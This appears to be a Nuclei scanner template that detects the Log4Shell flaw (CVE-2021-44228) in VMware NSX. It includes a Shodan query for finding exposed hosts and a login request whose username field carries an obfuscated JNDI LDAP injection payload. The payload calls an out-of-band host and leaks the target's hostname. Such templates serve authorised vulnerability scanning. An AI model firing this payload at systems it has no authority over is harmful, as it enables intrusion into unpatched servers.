id: vmware-nsx-log4j info: name: VMware NSX - Remote Code Execution (Apache Log4j) author: DhiyaneshDK severity: critical description: VMware NSX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. reference: - https://kb.vmware.com/s/article/87086 - https://logging.apache.org/log4j/2.x/security.html - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-77 metadata: max-request: 1 shodan-query: html:"vmw_nsx_logo-black-triangle-500w.png" verified: true tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast variables: rand1: '{{rand_int(111, 999)}}' rand2: '{{rand_int(111, 999)}}' http: - raw: - | @timeout: 20s POST /login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Origin: {{BaseURL}} Referer: {{BaseURL}}/login.jsp username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&password=admin&submit= matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: regex part: interactsh_request regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output - type: word part: location words: - '/login.jsp?login_error=1' extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output - type: regex part: interactsh_request group: 2 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output - type: regex part: interactsh_request group: 1 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output